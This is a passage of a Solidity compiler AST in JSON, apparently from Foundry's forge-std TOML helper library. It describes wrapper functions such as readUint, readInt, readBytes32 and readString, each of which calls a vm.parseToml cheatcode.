peIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"748:39:10"},"returnParameters":{"id":10627,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10626,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10635,"src":"811:12:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":10625,"name":"bytes","nodeType":"ElementaryTypeName","src":"811:5:10","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"810:14:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10651,"nodeType":"FunctionDefinition","src":"878:140:10","nodes":[],"body":{"id":10650,"nodeType":"Block","src":"967:51:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10646,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10637,"src":"1001:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10647,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10639,"src":"1007:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10644,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"984:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10645,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"987:13:10","memberName":"parseTomlUint","nodeType":"MemberAccess","referencedDeclaration":14861,"src":"984:16:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_uint256_$","typeString":"function (string memory,string memory) pure external returns (uint256)"}},"id":10648,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"984:27:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":10643,"id":10649,"nodeType":"Return","src":"977:34:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readUint","nameLocation":"887:8:10","parameters":{"id":10640,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10637,"mutability":"mutable","name":"toml","nameLocation":"910:4:10","nodeType":"VariableDeclaration","scope":10651,"src":"896:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10636,"name":"string","nodeType":"ElementaryTypeName","src":"896:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10639,"mutability":"mutable","name":"key","nameLocation":"930:3:10","nodeType":"VariableDeclaration","scope":10651,"src":"916:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10638,"name":"string","nodeType":"ElementaryTypeName","src":"916:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"895:39:10"},"returnParameters":{"id":10643,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10642,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10651,"src":"958:7:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":10641,"name":"uint256","nodeType":"ElementaryTypeName","src":"958:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"957:9:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10668,"nodeType":"FunctionDefinition","src":"1024:159:10","nodes":[],"body":{"id":10667,"nodeType":"Block","src":"1127:56:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10663,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10653,"src":"1166:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10664,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10655,"src":"1172:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10661,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"1144:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10662,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1147:18:10","memberName":"parseTomlUintArray","nodeType":"MemberAccess","referencedDeclaration":14872,"src":"1144:21:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_uint256_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (uint256[] memory)"}},"id":10665,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1144:32:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"functionReturnParameters":10660,"id":10666,"nodeType":"Return","src":"1137:39:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readUintArray","nameLocation":"1033:13:10","parameters":{"id":10656,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10653,"mutability":"mutable","name":"toml","nameLocation":"1061:4:10","nodeType":"VariableDeclaration","scope":10668,"src":"1047:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10652,"name":"string","nodeType":"ElementaryTypeName","src":"1047:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10655,"mutability":"mutable","name":"key","nameLocation":"1081:3:10","nodeType":"VariableDeclaration","scope":10668,"src":"1067:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10654,"name":"string","nodeType":"ElementaryTypeName","src":"1067:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1046:39:10"},"returnParameters":{"id":10660,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10659,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10668,"src":"1109:16:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":10657,"name":"uint256","nodeType":"ElementaryTypeName","src":"1109:7:10","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":10658,"nodeType":"ArrayTypeName","src":"1109:9:10","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"1108:18:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10684,"nodeType":"FunctionDefinition","src":"1189:137:10","nodes":[],"body":{"id":10683,"nodeType":"Block","src":"1276:50:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10679,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10670,"src":"1309:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10680,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10672,"src":"1315:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10677,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"1293:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10678,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1296:12:10","memberName":"parseTomlInt","nodeType":"MemberAccess","referencedDeclaration":14808,"src":"1293:15:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_int256_$","typeString":"function (string memory,string memory) pure external returns (int256)"}},"id":10681,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1293:26:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"functionReturnParameters":10676,"id":10682,"nodeType":"Return","src":"1286:33:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readInt","nameLocation":"1198:7:10","parameters":{"id":10673,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10670,"mutability":"mutable","name":"toml","nameLocation":"1220:4:10","nodeType":"VariableDeclaration","scope":10684,"src":"1206:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10669,"name":"string","nodeType":"ElementaryTypeName","src":"1206:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10672,"mutability":"mutable","name":"key","nameLocation":"1240:3:10","nodeType":"VariableDeclaration","scope":10684,"src":"1226:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10671,"name":"string","nodeType":"ElementaryTypeName","src":"1226:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1205:39:10"},"returnParameters":{"id":10676,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10675,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10684,"src":"1268:6:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":10674,"name":"int256","nodeType":"ElementaryTypeName","src":"1268:6:10","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"1267:8:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10701,"nodeType":"FunctionDefinition","src":"1332:156:10","nodes":[],"body":{"id":10700,"nodeType":"Block","src":"1433:55:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10696,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10686,"src":"1471:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10697,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10688,"src":"1477:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10694,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"1450:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10695,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1453:17:10","memberName":"parseTomlIntArray","nodeType":"MemberAccess","referencedDeclaration":14819,"src":"1450:20:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_int256_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (int256[] memory)"}},"id":10698,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1450:31:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[] memory"}},"functionReturnParameters":10693,"id":10699,"nodeType":"Return","src":"1443:38:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readIntArray","nameLocation":"1341:12:10","parameters":{"id":10689,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10686,"mutability":"mutable","name":"toml","nameLocation":"1368:4:10","nodeType":"VariableDeclaration","scope":10701,"src":"1354:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10685,"name":"string","nodeType":"ElementaryTypeName","src":"1354:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10688,"mutability":"mutable","name":"key","nameLocation":"1388:3:10","nodeType":"VariableDeclaration","scope":10701,"src":"1374:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10687,"name":"string","nodeType":"ElementaryTypeName","src":"1374:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1353:39:10"},"returnParameters":{"id":10693,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10692,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10701,"src":"1416:15:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":10690,"name":"int256","nodeType":"ElementaryTypeName","src":"1416:6:10","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":10691,"nodeType":"ArrayTypeName","src":"1416:8:10","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"1415:17:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10717,"nodeType":"FunctionDefinition","src":"1494:146:10","nodes":[],"body":{"id":10716,"nodeType":"Block","src":"1586:54:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10712,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10703,"src":"1623:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10713,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10705,"src":"1629:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10710,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"1603:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10711,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1606:16:10","memberName":"parseTomlBytes32","nodeType":"MemberAccess","referencedDeclaration":14776,"src":"1603:19:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_bytes32_$","typeString":"function (string memory,string memory) pure external returns (bytes32)"}},"id":10714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1603:30:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":10709,"id":10715,"nodeType":"Return","src":"1596:37:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytes32","nameLocation":"1503:11:10","parameters":{"id":10706,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10703,"mutability":"mutable","name":"toml","nameLocation":"1529:4:10","nodeType":"VariableDeclaration","scope":10717,"src":"1515:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10702,"name":"string","nodeType":"ElementaryTypeName","src":"1515:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10705,"mutability":"mutable","name":"key","nameLocation":"1549:3:10","nodeType":"VariableDeclaration","scope":10717,"src":"1535:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10704,"name":"string","nodeType":"ElementaryTypeName","src":"1535:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1514:39:10"},"returnParameters":{"id":10709,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10708,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10717,"src":"1577:7:10","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":10707,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1577:7:10","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"1576:9:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10734,"nodeType":"FunctionDefinition","src":"1646:165:10","nodes":[],"body":{"id":10733,"nodeType":"Block","src":"1752:59:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10729,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10719,"src":"1794:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10730,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10721,"src":"1800:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10727,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"1769:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10728,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1772:21:10","memberName":"parseTomlBytes32Array","nodeType":"MemberAccess","referencedDeclaration":14787,"src":"1769:24:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_bytes32_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (bytes32[] memory)"}},"id":10731,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1769:35:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"functionReturnParameters":10726,"id":10732,"nodeType":"Return","src":"1762:42:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readBytes32Array","nameLocation":"1655:16:10","parameters":{"id":10722,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10719,"mutability":"mutable","name":"toml","nameLocation":"1686:4:10","nodeType":"VariableDeclaration","scope":10734,"src":"1672:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10718,"name":"string","nodeType":"ElementaryTypeName","src":"1672:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10721,"mutability":"mutable","name":"key","nameLocation":"1706:3:10","nodeType":"VariableDeclaration","scope":10734,"src":"1692:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10720,"name":"string","nodeType":"ElementaryTypeName","src":"1692:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1671:39:10"},"returnParameters":{"id":10726,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10725,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10734,"src":"1734:16:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":10723,"name":"bytes32","nodeType":"ElementaryTypeName","src":"1734:7:10","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":10724,"nodeType":"ArrayTypeName","src":"1734:9:10","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"1733:18:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10750,"nodeType":"FunctionDefinition","src":"1817:150:10","nodes":[],"body":{"id":10749,"nodeType":"Block","src":"1914:53:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10745,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10736,"src":"1950:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10746,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10738,"src":"1956:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10743,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"1931:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10744,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1934:15:10","memberName":"parseTomlString","nodeType":"MemberAccess","referencedDeclaration":14840,"src":"1931:18:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_string_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (string memory)"}},"id":10747,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1931:29:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"functionReturnParameters":10742,"id":10748,"nodeType":"Return","src":"1924:36:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readString","nameLocation":"1826:10:10","parameters":{"id":10739,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10736,"mutability":"mutable","name":"toml","nameLocation":"1851:4:10","nodeType":"VariableDeclaration","scope":10750,"src":"1837:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10735,"name":"string","nodeType":"ElementaryTypeName","src":"1837:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10738,"mutability":"mutable","name":"key","nameLocation":"1871:3:10","nodeType":"VariableDeclaration","scope":10750,"src":"1857:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10737,"name":"string","nodeType":"ElementaryTypeName","src":"1857:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1836:39:10"},"returnParameters":{"id":10742,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10741,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10750,"src":"1899:13:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10740,"name":"string","nodeType":"ElementaryTypeName","src":"1899:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1898:15:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10767,"nodeType":"FunctionDefinition","src":"1973:162:10","nodes":[],"body":{"id":10766,"nodeType":"Block","src":"2077:58:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10762,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10752,"src":"2118:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10763,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10754,"src":"2124:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":10760,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10619,"src":"2094:2:10","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"id":10761,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2097:20:10","memberName":"parseTomlStringArray","nodeType":"MemberAccess","referencedDeclaration":14851,"src":"2094:23:10","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_string_memory_ptr_$returns$_t_array$_t_string_memory_ptr_$dyn_memory_ptr_$","typeString":"function (string memory,string memory) pure external returns (string memory[] memory)"}},"id":10764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2094:34:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string memory[] memory"}},"functionReturnParameters":10759,"id":10765,"nodeType":"Return","src":"2087:41:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"readStringArray","nameLocation":"1982:15:10","parameters":{"id":10755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10752,"mutability":"mutable","name":"toml","nameLocation":"2012:4:10","nodeType":"VariableDeclaration","scope":10767,"src":"1998:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10751,"name":"string","nodeType":"ElementaryTypeName","src":"1998:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":10754,"mutability":"mutable","name":"key","nameLocation":"2032:3:10","nodeType":"VariableDeclaration","scope":10767,"src":"2018:17:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":10753,"name":"string","nodeType":"ElementaryTypeName","src":"2018:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1997:39:10"},"returnParameters":{"id":10759,"nodeType":"ParameterList","parameters":[{"constant":false,"id":10758,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":10767,"src":"2060:15:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":10756,"name":"string","nodeType":"ElementaryTypeName","src":"2060:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":10757,"nodeType":"ArrayTypeName","src":"2060:8:10","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"2059:17:10"},"scope":11189,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":10783,"nodeType":"FunctionDefinition","src":"2141:146:10","nodes":[],"body":{"id":10782,"nodeType":"Block","src":"2233:54:10","nodes":[],"statements":[{"expression":{"arguments":[{"id":10778,"name":"toml","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10769,"src":"2270:4:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":10779,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":10771,"src":"2276:3:10","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string 